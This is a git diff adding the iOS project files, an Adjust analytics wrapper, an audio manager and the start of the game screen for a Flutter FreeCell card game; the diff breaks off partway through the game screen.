97C147041CF9000F007C117D /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; + CLANG_ANALYZER_NONNULL = YES; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; + CLANG_CXX_LIBRARY = "libc++"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; + ENABLE_NS_ASSERTIONS = NO; + ENABLE_STRICT_OBJC_MSGSEND = YES; + ENABLE_USER_SCRIPT_SANDBOXING = NO; + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_NO_COMMON_BLOCKS = YES; + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 13.0; + MTL_ENABLE_DEBUG_INFO = NO; + SDKROOT = iphoneos; + SUPPORTED_PLATFORMS = iphoneos; + SWIFT_COMPILATION_MODE = wholemodule; + SWIFT_OPTIMIZATION_LEVEL = "-O"; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = YES; + }; + name = Release; + }; + 97C147061CF9000F007C117D /* Debug */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 9740EEB21CF90195004384FC /* Debug.xcconfig */; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + CLANG_ENABLE_MODULES = YES; + CODE_SIGN_STYLE = Manual; + CURRENT_PROJECT_VERSION = "$(FLUTTER_BUILD_NUMBER)"; + DEVELOPMENT_TEAM = ""; + ENABLE_BITCODE = NO; + INFOPLIST_FILE = Runner/Info.plist; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + ); + PRODUCT_BUNDLE_IDENTIFIER = com.dragon.relay; + PRODUCT_NAME = "$(TARGET_NAME)"; + PROVISIONING_PROFILE_SPECIFIER = ""; + SWIFT_OBJC_BRIDGING_HEADER = "Runner/Runner-Bridging-Header.h"; + SWIFT_OPTIMIZATION_LEVEL = "-Onone"; + SWIFT_VERSION = 5.0; + VERSIONING_SYSTEM = "apple-generic"; + }; + name = Debug; + }; + 97C147071CF9000F007C117D /* Release */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + CLANG_ENABLE_MODULES = YES; + CODE_SIGN_IDENTITY = "Apple Development"; + CODE_SIGN_STYLE = Manual; + CURRENT_PROJECT_VERSION = "$(FLUTTER_BUILD_NUMBER)"; + DEVELOPMENT_TEAM = ""; + ENABLE_BITCODE = NO; + INFOPLIST_FILE = Runner/Info.plist; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + ); + PRODUCT_BUNDLE_IDENTIFIER = com.dragon.relay; + PRODUCT_NAME = "$(TARGET_NAME)"; + PROVISIONING_PROFILE_SPECIFIER = ""; + SWIFT_OBJC_BRIDGING_HEADER = "Runner/Runner-Bridging-Header.h"; + SWIFT_VERSION = 5.0; + VERSIONING_SYSTEM = "apple-generic"; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 331C8087294A63A400263BE5 /* Build configuration list for PBXNativeTarget "RunnerTests" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 331C8088294A63A400263BE5 /* Debug */, + 331C8089294A63A400263BE5 /* Release */, + 331C808A294A63A400263BE5 /* Profile */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 97C146E91CF9000F007C117D /* Build configuration list for PBXProject "Runner" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 97C147031CF9000F007C117D /* Debug */, + 97C147041CF9000F007C117D /* Release */, + 249021D3217E4FDB00AE95B9 /* Profile */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 97C147051CF9000F007C117D /* Build configuration list for PBXNativeTarget "Runner" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 97C147061CF9000F007C117D /* Debug */, + 97C147071CF9000F007C117D /* Release */, + 249021D4217E4FDB00AE95B9 /* Profile */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + }; + rootObject = 97C146E61CF9000F007C117D /* Project object */; +} diff --git a/ios/Runner.xcodeproj/project.xcworkspace/contents.xcworkspacedata b/ios/Runner.xcodeproj/project.xcworkspace/contents.xcworkspacedata new file mode 100644 index 0000000..c4b79bd --- /dev/null +++ b/ios/Runner.xcodeproj/project.xcworkspace/contents.xcworkspacedata @@ -0,0 +1,7 @@ + + + + + diff --git a/ios/Runner.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist b/ios/Runner.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist new file mode 100644 index 0000000..fc6bf80 --- /dev/null +++ b/ios/Runner.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist @@ -0,0 +1,8 @@ + + + + + IDEDidComputeMac32BitWarning + + + diff --git a/ios/Runner.xcodeproj/project.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings b/ios/Runner.xcodeproj/project.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings new file mode 100644 index 0000000..af0309c --- /dev/null +++ b/ios/Runner.xcodeproj/project.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings @@ -0,0 +1,8 @@ + + + + + PreviewsEnabled + + + diff --git a/ios/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme b/ios/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme new file mode 100644 index 0000000..bbabc4e --- /dev/null +++ b/ios/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme @@ -0,0 +1,101 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ios/Runner.xcworkspace/contents.xcworkspacedata b/ios/Runner.xcworkspace/contents.xcworkspacedata new file mode 100644 index 0000000..21a3cc1 --- /dev/null +++ b/ios/Runner.xcworkspace/contents.xcworkspacedata @@ -0,0 +1,10 @@ + + + + + + + diff --git a/ios/Runner.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist b/ios/Runner.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist new file mode 100644 index 0000000..fc6bf80 --- /dev/null +++ b/ios/Runner.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist @@ -0,0 +1,8 @@ + + + + + IDEDidComputeMac32BitWarning + + + diff --git a/ios/Runner.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings b/ios/Runner.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings new file mode 100644 index 0000000..af0309c --- /dev/null +++ b/ios/Runner.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings @@ -0,0 +1,8 @@ + + + + + PreviewsEnabled + + + diff --git a/ios/Runner/AppDelegate.swift b/ios/Runner/AppDelegate.swift new file mode 100644 index 0000000..ed1c097 --- /dev/null +++ b/ios/Runner/AppDelegate.swift @@ -0,0 +1,16 @@ +import Flutter +import UIKit + +@main +@objc class AppDelegate: FlutterAppDelegate, FlutterImplicitEngineDelegate { + override func application( + _ application: UIApplication, + didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]? + ) -> Bool { + return super.application(application, didFinishLaunchingWithOptions: launchOptions) + } + + func didInitializeImplicitFlutterEngine(_ engineBridge: FlutterImplicitEngineBridge) { + GeneratedPluginRegistrant.register(with: engineBridge.pluginRegistry) + } +} diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/Contents.json b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Contents.json new file mode 100644 index 0000000..02fa892 --- /dev/null +++ b/ios/Runner/Assets.xcassets/AppIcon.appiconset/Contents.json @@ -0,0 +1,38 @@ +{ + "images" : [ + { + "filename" : "image.png", + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" + }, + { + "appearances" : [ + { + "appearance" : "luminosity", + "value" : "dark" + } + ], + "filename" : "image 1.png", + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" + }, + { + "appearances" : [ + { + "appearance" : "luminosity", + "value" : "tinted" + } + ], + "filename" : "image 2.png", + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/image 1.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/image 1.png new file mode 100644 index 0000000..a8ed80c Binary files /dev/null and b/ios/Runner/Assets.xcassets/AppIcon.appiconset/image 1.png differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/image 2.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/image 2.png new file mode 100644 index 0000000..a8ed80c Binary files /dev/null and b/ios/Runner/Assets.xcassets/AppIcon.appiconset/image 2.png differ diff --git a/ios/Runner/Assets.xcassets/AppIcon.appiconset/image.png b/ios/Runner/Assets.xcassets/AppIcon.appiconset/image.png new file mode 100644 index 0000000..a8ed80c Binary files /dev/null and b/ios/Runner/Assets.xcassets/AppIcon.appiconset/image.png differ diff --git a/ios/Runner/Assets.xcassets/Contents.json b/ios/Runner/Assets.xcassets/Contents.json new file mode 100644 index 0000000..73c0059 --- /dev/null +++ b/ios/Runner/Assets.xcassets/Contents.json @@ -0,0 +1,6 @@ +{ + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/ios/Runner/Assets.xcassets/LaunchImage.imageset/Contents.json b/ios/Runner/Assets.xcassets/LaunchImage.imageset/Contents.json new file mode 100644 index 0000000..d08a4de --- /dev/null +++ b/ios/Runner/Assets.xcassets/LaunchImage.imageset/Contents.json @@ -0,0 +1,23 @@ +{ + "images" : [ + { + "idiom" : "universal", + "filename" : "LaunchImage.png", + "scale" : "1x" + }, + { + "idiom" : "universal", + "filename" : "LaunchImage@2x.png", + "scale" : "2x" + }, + { + "idiom" : "universal", + "filename" : "LaunchImage@3x.png", + "scale" : "3x" + } + ], + "info" : { + "version" : 1, + "author" : "xcode" + } +} diff --git a/ios/Runner/Assets.xcassets/LaunchImage.imageset/LaunchImage.png b/ios/Runner/Assets.xcassets/LaunchImage.imageset/LaunchImage.png new file mode 100644 index 0000000..9da19ea Binary files /dev/null and b/ios/Runner/Assets.xcassets/LaunchImage.imageset/LaunchImage.png differ diff --git a/ios/Runner/Assets.xcassets/LaunchImage.imageset/LaunchImage@2x.png b/ios/Runner/Assets.xcassets/LaunchImage.imageset/LaunchImage@2x.png new file mode 100644 index 0000000..9da19ea Binary files /dev/null and b/ios/Runner/Assets.xcassets/LaunchImage.imageset/LaunchImage@2x.png differ diff --git a/ios/Runner/Assets.xcassets/LaunchImage.imageset/LaunchImage@3x.png b/ios/Runner/Assets.xcassets/LaunchImage.imageset/LaunchImage@3x.png new file mode 100644 index 0000000..9da19ea Binary files /dev/null and b/ios/Runner/Assets.xcassets/LaunchImage.imageset/LaunchImage@3x.png differ diff --git a/ios/Runner/Assets.xcassets/LaunchImage.imageset/README.md b/ios/Runner/Assets.xcassets/LaunchImage.imageset/README.md new file mode 100644 index 0000000..65a94b5 --- /dev/null +++ b/ios/Runner/Assets.xcassets/LaunchImage.imageset/README.md @@ -0,0 +1,5 @@ +# Launch Screen Assets + +You can customize the launch screen with your own desired assets by replacing the image files in this directory. + +You can also do it by opening your Flutter project's Xcode project with `open ios/Runner.xcworkspace`, selecting `Runner/Assets.xcassets` in the Project Navigator and dropping in the desired images. \ No newline at end of file diff --git a/ios/Runner/Base.lproj/LaunchScreen.storyboard b/ios/Runner/Base.lproj/LaunchScreen.storyboard new file mode 100644 index 0000000..497371e --- /dev/null +++ b/ios/Runner/Base.lproj/LaunchScreen.storyboard @@ -0,0 +1,37 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ios/Runner/Base.lproj/Main.storyboard b/ios/Runner/Base.lproj/Main.storyboard new file mode 100644 index 0000000..bbb83ca --- /dev/null +++ b/ios/Runner/Base.lproj/Main.storyboard @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ios/Runner/Info.plist b/ios/Runner/Info.plist new file mode 100644 index 0000000..74fa18f --- /dev/null +++ b/ios/Runner/Info.plist @@ -0,0 +1,72 @@ + + + + + NSUserTrackingUsageDescription + This identifier will be used to provide personalized ads, measure advertising performance, and improve our marketing campaigns. + CADisableMinimumFrameDurationOnPhone + + CFBundleDevelopmentRegion + $(DEVELOPMENT_LANGUAGE) + CFBundleDisplayName + Wyrm Relay + CFBundleExecutable + $(EXECUTABLE_NAME) + CFBundleIdentifier + $(PRODUCT_BUNDLE_IDENTIFIER) + CFBundleInfoDictionaryVersion + 6.0 + CFBundleName + Wyrm Relay + CFBundlePackageType + APPL + CFBundleShortVersionString + $(FLUTTER_BUILD_NAME) + CFBundleSignature + ???? + CFBundleVersion + $(FLUTTER_BUILD_NUMBER) + LSRequiresIPhoneOS + + UIApplicationSceneManifest + + UIApplicationSupportsMultipleScenes + + UISceneConfigurations + + UIWindowSceneSessionRoleApplication + + + UISceneClassName + UIWindowScene + UISceneConfigurationName + flutter + UISceneDelegateClassName + $(PRODUCT_MODULE_NAME).SceneDelegate + UISceneStoryboardFile + Main + + + + + UIApplicationSupportsIndirectInputEvents + + UILaunchStoryboardName + LaunchScreen + UIMainStoryboardFile + Main + UISupportedInterfaceOrientations + + UIInterfaceOrientationPortrait + UIInterfaceOrientationLandscapeLeft + UIInterfaceOrientationLandscapeRight + + UISupportedInterfaceOrientations~ipad + + UIInterfaceOrientationPortrait + UIInterfaceOrientationPortraitUpsideDown + UIInterfaceOrientationLandscapeLeft + UIInterfaceOrientationLandscapeRight + + + diff --git a/ios/Runner/Runner-Bridging-Header.h b/ios/Runner/Runner-Bridging-Header.h new file mode 100644 index 0000000..fae207f --- /dev/null +++ b/ios/Runner/Runner-Bridging-Header.h @@ -0,0 +1 @@ +#import "GeneratedPluginRegistrant.h" diff --git a/ios/Runner/SceneDelegate.swift b/ios/Runner/SceneDelegate.swift new file mode 100644 index 0000000..b79be9b --- /dev/null +++ b/ios/Runner/SceneDelegate.swift @@ -0,0 +1,6 @@ +import Flutter +import UIKit + +class SceneDelegate: FlutterSceneDelegate { + +} diff --git a/ios/RunnerTests/RunnerTests.swift b/ios/RunnerTests/RunnerTests.swift new file mode 100644 index 0000000..4d206de --- /dev/null +++ b/ios/RunnerTests/RunnerTests.swift @@ -0,0 +1,12 @@ +import Flutter +import UIKit +import XCTest + +class RunnerTests: XCTestCase { + + func testExample() { + // If you add code to the Runner application, consider adding tests here. + // See https://developer.apple.com/documentation/xctest for more information about using XCTest. + } + +} diff --git a/lib/adjust/adjust_service.dart b/lib/adjust/adjust_service.dart new file mode 100644 index 0000000..8fe6146 --- /dev/null +++ b/lib/adjust/adjust_service.dart @@ -0,0 +1,185 @@ +import 'dart:developer' as developer; + +import 'package:flutter/foundation.dart'; +import 'package:adjust_sdk/adjust.dart'; +import 'package:adjust_sdk/adjust_attribution.dart'; +import 'package:adjust_sdk/adjust_config.dart'; +import 'package:adjust_sdk/adjust_event.dart'; +import 'package:adjust_sdk/adjust_event_failure.dart'; +import 'package:adjust_sdk/adjust_event_success.dart'; +import 'package:adjust_sdk/adjust_session_failure.dart'; +import 'package:adjust_sdk/adjust_session_success.dart'; +import 'package:freecell/utils/report.dart'; + +typedef EventParams = Map; + +class AdjustService { + Map _eventNameToToken = {}; + Map get eventNameToToken => _eventNameToToken; + set eventNameToToken(Map m) { + _eventNameToToken = Map.from(m); + } + + AdjustService._(); + + static final AdjustService instance = AdjustService._(); + + bool _inited = false; + + String _toStr(dynamic v) => '$v'; + + double? _toNum(dynamic v) { + if (v == null) return null; + if (v is num) return v.toDouble(); + return double.tryParse('$v'); + } + + Future init(String appToken, [bool isProd = true]) async{ + developer.log(appToken, name: 'Adjust'); + + if (_inited) { + developer.log('[Adjust] already inited', name: 'Adjust'); + return; + } + + if (appToken.isEmpty) return; + + final environment = isProd + ? AdjustEnvironment.production + : AdjustEnvironment.sandbox; + + final config = AdjustConfig(appToken, environment); + + config.isCostDataInAttributionEnabled = true; + + await Adjust.requestAppTrackingAuthorization(); + + config.attributionCallback = (AdjustAttribution a) async { + debugPrint('Adjust attribution: ${a.toString()}'); + ReportService.I.attribution = a; + ReportService.I.reportAttribution(); + }; + config.eventSuccessCallback = (AdjustEventSuccess s) { + debugPrint('Adjust event success: ${s.toString()}'); + }; + config.eventFailureCallback = (AdjustEventFailure f) { + debugPrint('Adjust event failure: ${f.toString()}'); + }; + config.sessionSuccessCallback = (AdjustSessionSuccess s) { + debugPrint('Adjust session success: ${s.toString()}'); + }; + config.sessionFailureCallback = (AdjustSessionFailure f) { + debugPrint('Adjust session failure: ${f.toString()}'); + }; + + // 可选:如果你希望缓存更多 deduplicationId,可调大 + config.eventDeduplicationIdsMaxSize = 20; + + config.logLevel = isProd ? AdjustLogLevel.info : AdjustLogLevel.verbose; + + Adjust.initSdk(config); + _inited = true; + } + + Future trackEventWithName( + String eventName, [ + EventParams? params, + ]) async { + debugPrint('call trackEventWithName eventName $eventName params $params'); + // 你可以在这里做个映射,eventName -> eventToken + // 也可以直接让外部传 eventToken 过来 + final eventToken = _eventNameToToken[eventName]; + if (eventToken == null) { + debugPrint('not find eventToken $eventName'); + return; + } + ReportService.I.report(eventName, params); + await trackEvent(eventToken, params); + } + + Future trackEvent(String eventToken, [EventParams? params]) async { + try { + debugPrint("track event eventToken $eventToken params $params"); + if (eventToken.isEmpty) return; + + final event = AdjustEvent(eventToken); + + if (params != null && params.isNotEmpty) { + double? revenue; + String? currency; + + // 优先级:deduplicationId > orderId > transactionId + String? dedupId; + + for (final entry in params.entries) { + final key = entry.key; + final value = entry.value; + + if (value == null) continue; + + switch (key) { + case 'revenue': + case 'amount': + revenue = _toNum(value); + break; + + case 'currency': + currency = _toStr(value); + break; + + case 'deduplicationId': + case 'orderId': + dedupId ??= _toStr(value); + break; + + case 'callbackId': + event.callbackId = _toStr(value); + break; + + case 'transactionId': + final tid = _toStr(value); + event.transactionId = tid; + dedupId ??= tid; + break; + + case 'productId': + event.productId = _toStr(value); + break; + + case 'purchaseToken': + event.purchaseToken = _toStr(value); + break; + default: + final v = _toStr(value); + + if (key.startsWith('partner:')) { + final realKey = key.substring('partner:'.length); + if (realKey.isNotEmpty) { + event.addPartnerParameter(realKey, v); + } + } else { + event.addCallbackParameter(key, v); + } + break; + } + } + + if (dedupId != null && dedupId.isNotEmpty) { + event.deduplicationId = dedupId; + } + + if (revenue != null && currency != null && currency.isNotEmpty) { + event.setRevenue(revenue, currency); + } + } + + Adjust.trackEvent(event); + } catch (e, st) { + developer.log( + '[Adjust] trackEvent error: $e', + name: 'Adjust', + stackTrace: st, + ); + } + } +} diff --git a/lib/audio/audio_manager.dart b/lib/audio/audio_manager.dart new file mode 100644 index 0000000..cd51ce7 --- /dev/null +++ b/lib/audio/audio_manager.dart @@ -0,0 +1,301 @@ +import 'package:audioplayers/audioplayers.dart'; +import 'package:flutter/foundation.dart'; + +enum SfxKey { win, loss, select, drop, shuffle } + +enum BgmKey { bgm } + +class MusicMap { + static const String bgm = 'assets/audio/bgm.mp3'; + static const Map sfx = { + SfxKey.win: 'assets/audio/win.mp3', + SfxKey.loss: 'assets/audio/loss.mp3', + SfxKey.shuffle: 'assets/audio/shuffle.mp3', + SfxKey.select: 'assets/audio/select.mp3', + SfxKey.drop: 'assets/audio/drop.mp3', + }; +} + +class AudioManager { + static final AudioManager instance = AudioManager._(); + AudioManager._(); + + late final AudioPlayer _bgm = AudioPlayer(playerId: 'bgm'); + + final List _sfxPlayers = []; + int _sfxIndex = 0; + + bool _initialized = false; + bool _initializing = false; + + bool _bgmMuted = false; + bool _sfxMuted = false; + + double _bgmVolume = 0.6; + double _sfxVolume = 1.0; + + static const int _sfxPoolSize = 2; + + Future init() async { + if (_initialized || _initializing) return; + _initializing = true; + + try { + _sfxPlayers.clear(); + _sfxIndex = 0; + + await _initBgmPlayer(); + await _initSfxPlayers(); + + if (_sfxPlayers.isEmpty) { + final fallback = AudioPlayer(playerId: 'sfx_fallback'); + await _safeSetSfxPlayerDefaults(fallback); + _sfxPlayers.add(fallback); + } + + _initialized = true; + } catch (e, st) { + debugPrint('AudioManager init failed: $e'); + debugPrint('$st'); + _initialized = false; + _sfxPlayers.clear(); + _sfxIndex = 0; + } finally { + _initializing = false; + } + } + + Future _initBgmPlayer() async { + try { + await _bgm.setReleaseMode(ReleaseMode.loop); + } catch (e) { + debugPrint('BGM setReleaseMode failed: $e'); + } + + try { + await _bgm.setPlayerMode(PlayerMode.mediaPlayer); + } catch (e) { + debugPrint('BGM setPlayerMode failed: $e'); + } + + try { + await _bgm.setAudioContext( + AudioContext( + android: AudioContextAndroid( + audioFocus: AndroidAudioFocus.gain, + contentType: AndroidContentType.music, + usageType: AndroidUsageType.media, + audioMode: AndroidAudioMode.normal, + isSpeakerphoneOn: false, + stayAwake: false, + ), + iOS: AudioContextIOS( + category: AVAudioSessionCategory.playback, + options: const {AVAudioSessionOptions.mixWithOthers}, + ), + ), + ); + } catch (e) { + debugPrint('BGM setAudioContext failed: $e'); + } + + try { + await _bgm.setVolume(_bgmVolume); + } catch (e) { + debugPrint('BGM setVolume failed: $e'); + } + } + + Future _initSfxPlayers() async { + for (int i = 0; i < _sfxPoolSize; i++) { + final player = AudioPlayer(playerId: 'sfx_$i'); + + await _safeSetSfxPlayerDefaults(player, index: i); + + _sfxPlayers.add(player); + } + } + + Future _safeSetSfxPlayerDefaults( + AudioPlayer player, { + int? index, + }) async { + final tag = index == null ? 'SFX[fallback]' : 'SFX[$index]'; + + try { + await player.setReleaseMode(ReleaseMode.stop); + } catch (e) { + debugPrint('$tag setReleaseMode failed: $e'); + } + + try { + await player.setPlayerMode(PlayerMode.lowLatency); + } catch (e) { + debugPrint('$tag lowLatency failed, fallback to mediaPlayer: $e'); + try { + await player.setPlayerMode(PlayerMode.mediaPlayer); + } catch (e2) { + debugPrint('$tag mediaPlayer fallback failed: $e2'); + } + } + + try { + await player.setAudioContext( + AudioContext( + android: AudioContextAndroid( + audioFocus: AndroidAudioFocus.none, + contentType: AndroidContentType.sonification, + usageType: AndroidUsageType.game, + audioMode: AndroidAudioMode.normal, + isSpeakerphoneOn: false, + stayAwake: false, + ), + iOS: AudioContextIOS( + category: AVAudioSessionCategory.playback, + options: const {AVAudioSessionOptions.mixWithOthers}, + ), + ), + ); + } catch (e) { + debugPrint('$tag setAudioContext failed: $e'); + } + + try { + await player.setVolume(_sfxVolume); + } catch (e) { + debugPrint('$tag setVolume failed: $e'); + } + } + + Future _ensureInit() async { + if (!_initialized) { + await init(); + } + if (_sfxPlayers.isEmpty) { + final fallback = AudioPlayer(playerId: 'sfx_emergency'); + await _safeSetSfxPlayerDefaults(fallback); + _sfxPlayers.add(fallback); + } + } + + AudioPlayer _nextSfxPlayer() { + if (_sfxPlayers.isEmpty) { + throw StateError('SFX players not initialized'); + } + final player = _sfxPlayers[_sfxIndex % _sfxPlayers.length]; + _sfxIndex = (_sfxIndex + 1) % _sfxPlayers.length; + return player; + } + + Future setBgmMuted(bool muted) async { + await _ensureInit(); + _bgmMuted = muted; + if (muted) { + await _bgm.pause(); + } else { + await _bgm.resume(); + } + } + + Future setSfxMuted(bool muted) async { + await _ensureInit(); + _sfxMuted = muted; + if (muted) { + for (final p in _sfxPlayers) { + try { + await p.stop(); + } catch (_) {} + } + } + } + + Future setBgmVolume(double value) async { + await _ensureInit(); + _bgmVolume = value.clamp(0.0, 1.0); + await _bgm.setVolume(_bgmVolume); + } + + Future setSfxVolume(double value) async { + await _ensureInit(); + _sfxVolume = value.clamp(0.0, 1.0); + for (final p in _sfxPlayers) { + try { + await p.setVolume(_sfxVolume); + } catch (_) {} + } + } + + Future playBgm([BgmKey key = BgmKey.bgm]) async { + await _ensureInit(); + if (_bgmMuted) return; + + final path = MusicMap.bgm.replaceFirst('assets/', ''); + await _bgm.stop(); + await _bgm.play(AssetSource(path), volume: _bgmVolume); + } + + Future pauseBgm() async { + if (!_initialized) return; + await _bgm.pause(); + } + + Future resumeBgm() async { + await _ensureInit(); + if (_bgmMuted) return; + await _bgm.resume(); + } + + Future stopBgm() async { + if (!_initialized) return; + await _bgm.stop(); + } + + Future playSfx(SfxKey key) async { + await _ensureInit(); + if (_sfxMuted) return; + if (_sfxPlayers.isEmpty) return; + + final path = MusicMap.sfx[key]!.replaceFirst('assets/', ''); + final player = _nextSfxPlayer(); + + try { + await player.stop(); + } catch (_) {} + + try { + await player.setVolume(_sfxVolume); + } catch (_) {} + + try { + await player.play(AssetSource(path), volume: _sfxVolume); + } catch (e) { + debugPrint('playSfx failed: $e'); + } + } + + Future stopAllSfx() async { + if (!_initialized) return; + for (final p in _sfxPlayers) { + try { + await p.stop(); + } catch (_) {} + } + } + + Future releaseAll() async { + try { + await _bgm.dispose(); + } catch (_) {} + + for (final p in _sfxPlayers) { + try { + await p.dispose(); + } catch (_) {} + } + + _sfxPlayers.clear(); + _sfxIndex = 0; + _initialized = false; + _initializing = false; + } +} diff --git a/lib/main.dart b/lib/main.dart new file mode 100644 index 0000000..c624508 --- /dev/null +++ b/lib/main.dart @@ -0,0 +1,25 @@ +import 'package:flutter/material.dart'; +import 'screens/freecell_screen.dart'; +import 'screens/loading_screen.dart'; +import 'screens/start_screen.dart'; + +void main() { + WidgetsFlutterBinding.ensureInitialized(); + runApp(const FreeCellDemoApp()); +} + +class FreeCellDemoApp extends StatelessWidget { + const FreeCellDemoApp({super.key}); + + @override + Widget build(BuildContext context) { + return MaterialApp( + debugShowCheckedModeBanner: false, + home: const LoadingScreen(), + routes: { + '/start': (context) => const StartScreen(), + '/game': (context) => const FreeCellScreen(), + }, + ); + } +} diff --git a/lib/screens/freecell_screen.dart b/lib/screens/freecell_screen.dart new file mode 100644 index 0000000..508dad7 --- /dev/null +++ b/lib/screens/freecell_screen.dart @@ -0,0 +1,2338 @@ +import 'dart:async'; +import 'dart:math'; + +import 'package:flame/components.dart'; +import 'package:flame/events.dart'; +import 'package:flame/game.dart'; +import 'package:freecell/audio/audio_manager.dart'; +import 'package:flutter/material.dart'; +import 'package:shared_preferences/shared_preferences.dart'; + +/// 单独一个 Screen,直接: +/// Navigator.push(context, MaterialPageRoute(builder: (_) => const FreeCellScreen())); +class FreeCellScreen extends StatelessWidget { + const FreeCellScreen({super.key}); + + @override + Widget build(BuildContext context) { + return Scaffold( + body: SafeArea( + child: GameWidget( + game: FreeCellGame(), + overlayBuilderMap: { + 'settings': (context, game) { + return SettingsOverlay(game: game as FreeCellGame); + }, + 'history': (context, game) { + return HistoryOverlay(game: game as FreeCellGame); + }, + 'win': (context, game) { + final freeCellGame = game as FreeCellGame; + return Center( + child: Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.black.withValues(alpha: 0.75), + borderRadius: BorderRadius.circular(18), + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const Text( + 'You Win!', + style: TextStyle( + color: Colors.white, + fontSize: 32, + fontWeight: FontWeight.bold, + ), + ), + const SizedBox(height: 12), + _ResultStatText( + label: 'Time', + value: freeCellGame.stats.formatSeconds( + freeCellGame.elapsedSeconds.floor(), + ), + ), + _ResultStatText( + label: 'Moves', + value: '${freeCellGame.history.length}', + ), + const SizedBox(height: 18), + ElevatedButton( + onPressed: freeCellGame.restartGame, + child: const Text('Restart Game'), + ), + ], + ), + ), + ); + }, + 'lose': (context, game) { + final freeCellGame = game as FreeCellGame; + return Center( + child: Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.black.withValues(alpha: 0.75), + borderRadius: BorderRadius.circular(18), + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const Text( + 'No Moves', + style: TextStyle( + color: Colors.white, + fontSize: 32, + fontWeight: FontWeight.bold, + ), + ), + const SizedBox(height: 12), + _ResultStatText( + label: 